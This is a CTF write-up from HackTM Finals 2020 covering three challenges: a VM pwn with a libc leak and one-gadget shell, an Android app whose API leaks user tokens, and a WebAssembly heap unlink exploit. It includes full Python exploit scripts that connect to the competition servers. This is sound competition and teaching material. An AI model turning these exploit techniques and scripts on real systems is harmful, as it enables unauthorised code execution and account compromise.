Last weekend I played HackTM CTF Finals 2020, the Finals event of HackTM CTF Quals 2020, in zer0pts and we won the CTF🎉
I mostly worked on pwn, forensics and few reversing tasks. Especially the pwn tasks were well-designed and I really enjoyed them so I'm going to write the solution of the pwn tasks.
An x86-64 ELF file is distributed.
$ checksec -f svm RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No Symbols No 0 4 svm
This program is a simple VM. Since the design of the VM is simple, writing an assembler is easy.
from ptrlib import p16 def MEM(index): assert 0 <= index <= 0xff return ('MEM', index) def REG(index): assert 0 <= index <= 4 return ('REG', index) def IMM(value): assert 0 <= value <= 0xff return ('IMM', value) def ope_mov(dst, src): output = b'\x20' if dst[0] == 'MEM': if src[0] == 'MEM': output += bytes([dst[1], src[1], 0x02]) elif src[0] == 'REG': output += bytes([dst[1], src[1], 0x04]) elif src[0] == 'IMM': output += bytes([dst[1], src[1], 0x03]) elif dst[0] == 'REG': if src[0] == 'MEM': output += bytes([dst[1], src[1], 0x05]) elif src[0] == 'REG': output += bytes([dst[1], src[1], 0x06]) elif src[0] == 'IMM': output += bytes([dst[1], src[1], 0x01]) assert len(output) == 4 return output def ope_add(dst, src): output = b'\x21' if dst[0] == 'MEM': if src[0] == 'MEM': output += bytes([dst[1], src[1], 0x02]) elif src[0] == 'REG': output += bytes([dst[1], src[1], 0x04]) elif src[0] == 'IMM': output += bytes([dst[1], src[1], 0x03]) elif dst[0] == 'REG': if src[0] == 'MEM': output += bytes([dst[1], src[1], 0x05]) elif src[0] == 'REG': output += bytes([dst[1], src[1], 0x06]) elif src[0] == 'IMM': output += bytes([dst[1], src[1], 0x01]) assert len(output) == 4 return output def ope_sub(dst, src): output = b'\x22' if dst[0] == 'MEM': if src[0] == 'MEM': output += bytes([dst[1], src[1], 0x02]) elif src[0] == 'REG': output += bytes([dst[1], src[1], 0x04]) elif src[0] == 'IMM': output += bytes([dst[1], src[1], 0x03]) elif dst[0] == 'REG': if src[0] == 'MEM': output += bytes([dst[1], src[1], 0x05]) elif src[0] == 'REG': output += bytes([dst[1], src[1], 0x06]) elif src[0] == 'IMM': output += bytes([dst[1], src[1], 0x01]) assert len(output) == 4 return output def ope_xor(dst, src): output = b'\x23' if dst[0] == 'MEM': if src[0] == 'MEM': output += bytes([dst[1], src[1], 0x02]) elif src[0] == 'REG': output += bytes([dst[1], src[1], 0x04]) elif src[0] == 'IMM': output += bytes([dst[1], src[1], 0x03]) elif dst[0] == 'REG': if src[0] == 'MEM': output += bytes([dst[1], src[1], 0x05]) elif src[0] == 'REG': output += bytes([dst[1], src[1], 0x06]) elif src[0] == 'IMM': output += bytes([dst[1], src[1], 0x01]) assert len(output) == 4 return output def ope_mul(dst, src): output = b'\x24' if dst[0] == 'MEM': if src[0] == 'MEM': output += bytes([dst[1], src[1], 0x02]) elif src[0] == 'REG': output += bytes([dst[1], src[1], 0x04]) elif src[0] == 'IMM': output += bytes([dst[1], src[1], 0x03]) elif dst[0] == 'REG': if src[0] == 'MEM': output += bytes([dst[1], src[1], 0x05]) elif src[0] == 'REG': output += bytes([dst[1], src[1], 0x06]) elif src[0] == 'IMM': output += bytes([dst[1], src[1], 0x01]) assert len(output) == 4 return output def ope_div(dst, src): output = b'\x25' if dst[0] == 'MEM': if src[0] == 'MEM': output += bytes([dst[1], src[1], 0x02]) elif src[0] == 'REG': output += bytes([dst[1], src[1], 0x04]) elif src[0] == 'IMM': output += bytes([dst[1], src[1], 0x03]) elif dst[0] == 'REG': if src[0] == 'MEM': output += bytes([dst[1], src[1], 0x05]) elif src[0] == 'REG': output += bytes([dst[1], src[1], 0x06]) elif src[0] == 'IMM': output += bytes([dst[1], src[1], 0x01]) assert len(output) == 4 return output def ope_inc(dst): output = b'\x26' if dst[0] == 'MEM': output += bytes([dst[1], 0x02]) if dst[0] == 'REG': output += bytes([dst[1], 0x01]) assert len(output) == 3 return output def ope_dec(dst): output = b'\x27' if dst[0] == 'MEM': output += bytes([dst[1], 0x02]) if dst[0] == 'REG': output += bytes([dst[1], 0x01]) assert len(output) == 3 return output def ope_strcpy(offset): output = b'\x28' output += p16(offset, 'little') return output def ope_read(offset): assert 0 <= offset <= 0xff output = bytes([0x29, offset]) return output def ope_write(offset): assert 0 <= offset <= 0xff output = bytes([0x2a, offset]) return output def ope_write_str(offset): assert 0 <= offset <= 0xff output = bytes([0x2b, offset]) return output def ope_nop(): return b'\x90'
There's a weird operation which may cause stack overflow.
void ope_strcpy(unsigned char arg1, unsigned char arg2, int pos, char *code) { int offset = (arg1 << 8) + arg2; assert_in_range(offset, 0, 0x3e8); memcpy(&code[pos], &pcode[offset], strlen(&code[offset])); code[pos + strlen(&pcode[offset])] = 0; }
However, we can't inject an ROP chain because it uses strlen
and we can't use null byte.
This means that we can just overwrite the return address.
I checked every possible code which may extend the buffer (such as before read function) but none of them did work. So, we need another vulnerability that can leak the address of libc.
I checked the assembly again and found the following function vulnerable.
The instruction basically just prints a string on the VM memory.
As you can see from the assembly abive, however, the size for the loop is signed-extended by movsx
, which may cause integer overflow.
A few blocks before the memory exists a pointer to _IO_2_1_stdout_
, which can be leaked with this vulnerability.
Once we leak the libc address, we have to choose a right one gadget.
I used the following one gadget.
0x4f2c5 execve("/bin/sh", rsp+0x40, environ) constraints: rsp & 0xf == 0 rcx == NULL
We can make RCX zero by calling an instruction with correct parameters before exiting from the VM.
I used the following gadget(?) in XOR operation to make rcx zero.
Full exploit:
import time from ptrlib import * from assembler import * addr_start = 0x4006a0 libc = ELF("./libc.so.6") one_gadget = 0x10a398 sock = Socket("nc 35.246.216.38 8888") code = b'' for i in range(0x90): code += ope_mov(MEM(0x40 + i), IMM(0x41)) code += ope_write_str(0x40) code += ope_nop() * (635 - len(code)) code += ope_strcpy(0x0102) code += p64(addr_start) code += b'\x00' * (1000 - len(code)) sock.sendafter(": ", code) time.sleep(1) sock.recv(0x80) libc_base = u64(sock.recv(6)) - libc.symbol("_IO_2_1_stdout_") logger.info("libc = " + hex(libc_base)) code = b'' code += ope_nop() * (0x0120 - len(code)) code += ope_xor(MEM(1), REG(3)) code += ope_nop() * (635 - len(code)) code += ope_strcpy(0x0102) code += p64(libc_base + one_gadget) code += b'\x00' * (1000 - len(code)) sock.sendafter(": ", code) sock.interactive()
We're given an Android apk.
$ file MobaDEX.apk MobaDEX.apk: Zip archive data
The login screen of the app looks like this:
First I registered an account and logged in. Then, we can add another user as a friend and send message to the friends. Also, we can read the messages that other people sent to me.
In AddFriendFragment
class exists a check like this:
if (friend_username.equals("Admin_FeDEX")) { AddFriendFragment.this.updateTextView("Cannot add Admin!");
The Session
class has a sample flag as a member.
public class Session { private static Session instance = null; private String Flag = "HackTM{local_flag}"; private String token = ""; protected Session() { } public String getToken() { return this.token; } public String getFlag() { return this.Flag; } public void setToken(String token2) { this.token = token2; } public static Session getInstance() { if (instance == null) { instance = new Session(); } return instance; } }
So, perhaps our goal is steal this variable of Admin_FeDEX
.
The application has some flaw in its design. First, we can read all of the messages sent to any users. This is because of the design of the user token.
We have to login first in order to read the user's message. If login is successful, the program receives a token for the user (one fixed random number for each user) and uses it as a session. We can read the user's message only with the token.
... url("http://35.246.216.38:8686/api.php").post(new FormBody.Builder() .add("q", "hvD6trFjj5PF0sA") .add("token", this.sess.getToken() ) ...
The problem lies in the message send function.
The user inputs the friend's name for message transfer. However, the server uses the friend's token for identifying to which user to send the message. The app gets the friend's token by the following API.
... url("http://35.246.216.38:8686/api.php").post(new FormBody.Builder() .add("q", "KVY2ERbWMEGBgob") .add("token", this.sess.getToken()) .add("friend_username", friend_username) ) ...
This means anyone can get the token of any user by the username.
So, we can read anyone's message. This is a quite critical bug but it won't drop the flag.
TBH, I used an unintended solution.
I'm not sure but I think the real vulnerability lies in the ProcessMoba
class.
private Bundle deserialize_moba(String serialized) { if (serialized == null) { return null; } Parcel parcel = Parcel.obtain(); try { byte[] data = Base64.decode(serialized, 0); parcel.unmarshall(data, 0, data.length); parcel.setDataPosition(0); return parcel.readBundle(); } finally { parcel.recycle(); } }
Since we can manipulate the data to send, perhaps we can use the deserialization attack.
Unfortunately, however, there was some mistakes which caused some unintended solutions.
Firstly, the intended solution of this task is make the admin send the flag to our own account. As I explained, anyone can read anyone's messages. That is, anyone can steal the solvers' messages which includes the flag. We can get the challenge solvers' username by checking the admin's messages because the solvers must have sent their exploit code to the admin. In fact, it turned out at least one team solved this task by stealing my account XD
Secondly, the author of this task run his solver before or during the competition.
There was a message named fedex_poc
, which was probably sent by the challenge author and contained the intended exploit payload.
The first solver of this task apparently re-used this payload as the structure looked almost same.
I used the second unintended solution to solve the task. (I'll try the intended solution later. During the contest I just wanted to work on the other tasks too :P)
Although the challenge has a flaw, I think the idea is still great :+1:
We're given a WebAssembly file and a JavaScript file to run it on. The application looks like an ordinal note manager.
$ node challenge.js ================== Widmanstatten's Automated Spaceship Management System ================== ===================================================== Option 1: Add spaceship part to inventory Option 2: Update spaceship part entry in inventory Option 3: Delete spaceship part entry from inventory 1 What part category do you choose? [1]: =========== Defense ========= [2]: =========== Attack ========= [3]: =========== Time Warp ========= [4]: =========== Propulsion ========= 1 Parts available in [Defense]: Name: Plasma field Name: Schumann frequency crystals Name: Neutron self-destruction device Name: Unstable quasispace teleportation Which one do you want? Plasma field Enter part count: 123 Added at index 0 ...
Before exiting, the program executes a JavaScript code which is hard-coded in data section.
================== Widmanstatten's Automated Spaceship Management System ================== ===================================================== Option 1: Add spaceship part to inventory Option 2: Update spaceship part entry in inventory Option 3: Delete spaceship part entry from inventory 4 Brought to you by: _ _ ____ _____ _ ____ _ _ _ _| || |_ | _ \ __ __ _ __|_ _|| |__ _ _ | __ ) _ _ | |_ ___ ___ _| || |_ |_ .. _| | |_) |\ \ /\ / /| '_ \ | | | '_ \ | | | || _ \ | | | || __|/ _ \/ __| |_ .. _| |_ _| | __/ \ V V / | | | || | | | | || |_| || |_) || |_| || |_| __/\__ \ |_ _| |_||_| |_| \_/\_/ |_| |_||_| |_| |_| \__, ||____/ \__, | \__|\___||___/ |_||_| |___/ |___/
Our goal is overwrite this script to execute arbitrary commands.
Anyway we need to reverse engineer the wasm file. It was hard to find the vulnerability since the source code was not provided, but I found it anyway.
When choosing a part in the app, we provide the string of the part.
The program actually uses strstr
to find the index by the string we entered.
(The length, return value of read, must be larger than 5.)
Also, the size of the chunk changes for each category. This is because the part count is of short for some categories, while others' are of integer.
When we enter "\x00\x00\x00\x00\x00\x00" as the part name, it hits the first item and allocates a chunk by malloc(0x7c)
.
However, the index becomes 15 (this is a sort of type confusion) and the part count is considered as an integer on the update function.
So, we get heap overwrite by 2 bytes. Let's see how "malloc" in WebAssembly works.
According to this Japanese article, WebAssembly uses dlmalloc for the memory management.
free
is defined here and malloc
is here.
Reading the source code, I realized the following things:
- It doesn't have tcache or fastbin but has smallbin, largebin and unsortedbin
- There're some checks to see if a chunk (freed, allocated or unlinked) is not above the end of the heap
- Unlink attack is available
My idea of exploiting the off-by-two bug is
- Prepare fake chunks for step 2 so that the program won't be killed by assertion error
- Overwrite the size of the next chunk to 0x420 (unsorted-bin size)
- Free the next chunk and it'll be linked to the unsorted bin
- Allocate some chunks and they overlaps with an existing chunks
- Free one of the overlapping chunks
- Link fd to the address of the target code
- Allocate some chunks and we can overwrite the code
In my exploit, I abused two things which is particular to WebAssembly.
- ASLR is disabled for the 32-bit address of WebAssembly
- Data section is not only readable but also writable
Also to make step 6 (unlink attack) work properly, we need a valid pointer before the target code.
This is because unlink
crashes if fd of the fake chunk is invalid.
Fortunately, there is a dword that looks like 0x000aXXXX
(This is an end of string. Yes it's in the data section.) which is valid as a heap pointer.
So, I made fd point there and used the ancient unlink attack.
One more hard point is that the application reads our input as UTF-8. However, I could write the exploit only with valid UTF-8 characters luckily.
import random import string import time from ptrlib import * CATEGORY = { 1: ["Plasma field", "Schumann frequency crystals", "Neutron self-destruction device", "Unstable quasispace teleportation"], 2: ["Gamma ray generator", "Thermonuclear missile", "Space pigeon shit thrower", "Pew pew lasers"], 3: ["Flux Capacitor", "Micro black hole bundle", "Timelord policebox"], 4: ["Resonant cavity thruster", "Ununpentium wedge", "Nuclear pulse", "Retro encabulator", "Specific impulse magnetoplasma"] } def add(category, name, count): sock.sendlineafter("inventory\n", "1") sock.sendlineafter("[4]: ", str(category)) sock.sendlineafter("?\n", name) sock.sendlineafter(":\n", str(count)) return int(sock.recvlineafter("index ")) def update(index, count, size, description): sock.sendlineafter("from inventory\n", "2") result = [] while True: l = sock.recvline() if b"Invalid" in l: continue if b"Entry" not in l: sock.unget(l + b"\n") break r = re.findall(b"Entry \[\d+\]: Description \[(.+)\]?", l) if r: result.append(r[0]) else: print(l) sock.sendlineafter("?\n", str(index)) sock.sendlineafter(":\n", str(count)) sock.sendlineafter(":\n", str(size)) sock.sendlineafter(":\n", description) return result def delete(index): sock.sendlineafter("inventory\n", "3") sock.sendlineafter("?\n", str(index)) def utf8bytes(data): output = b'' s = data.decode('utf-8') for c in s: print(hex(ord(c))) output += bytes([ord(c) % 0x100]) output += bytes([ord(c) // 0x100]) return output sock = Socket("35.246.216.38", 13371) logger.info("Overlapping...") add(1, "\x00"*6, 0xdead) for i in range(10): logger.info("{} / 10".format(i)) add(1, CATEGORY[1][0], 0xdead) update(0, (((0x80*10) | 0b11) << 16) | 0xbeef, 120, "A" * 8) delete(1) add(4, CATEGORY[4][0], 0xcafe) for i in range(8): add(4, CATEGORY[4][0], 0xcafe) logger.info("Corrupting smallbin...") delete(12) delete(14) delete(16) payload = b"A" * 15 payload += p32(0x1651) * 2 payload += b"A" * 4 update(3, 0xdead, 120, payload) payload = b"A" * 10 + b'\xc2\x89' + b'\x00\x00\x00' update(3, 0xdead, 120, payload) logger.info("Consuming smallbin...") add(4, CATEGORY[4][0], 0xcafe) add(4, CATEGORY[4][0], 0xcafe) add(4, CATEGORY[4][0], 0xcafe) logger.info("Overwriting data...") target = add(4, CATEGORY[4][0], 0xcafe) logger.info("target = " + str(target)) payload = "A"*0x16 payload += "console.log(flag);" + "\x00" update(target, 0, 120, payload) logger.info("GO") sock.sendlineafter("inventory\n", "4") sock.interactive()
First blood, yay!
$ python solve.py [+] __init__: Successfully connected to 35.246.216.38:13371 [+] <module>: Overlapping... [+] <module>: 0 / 10 [+] <module>: 1 / 10 [+] <module>: 2 / 10 [+] <module>: 3 / 10 [+] <module>: 4 / 10 [+] <module>: 5 / 10 [+] <module>: 6 / 10 [+] <module>: 7 / 10 [+] <module>: 8 / 10 [+] <module>: 9 / 10 [+] <module>: Corrupting smallbin... [+] <module>: Consuming smallbin... [+] <module>: Overwriting data... [+] <module>: target = 19 [+] <module>: GO [ptrlib]$ Option 2: Update spaceship part entry in inventory Option 3: Delete spaceship part entry from inventory AAAAAAAAAAAAAAAAAAAconsole.log(flag); HackTM{62b31bcec9f2088a4e658d0696d85fbd}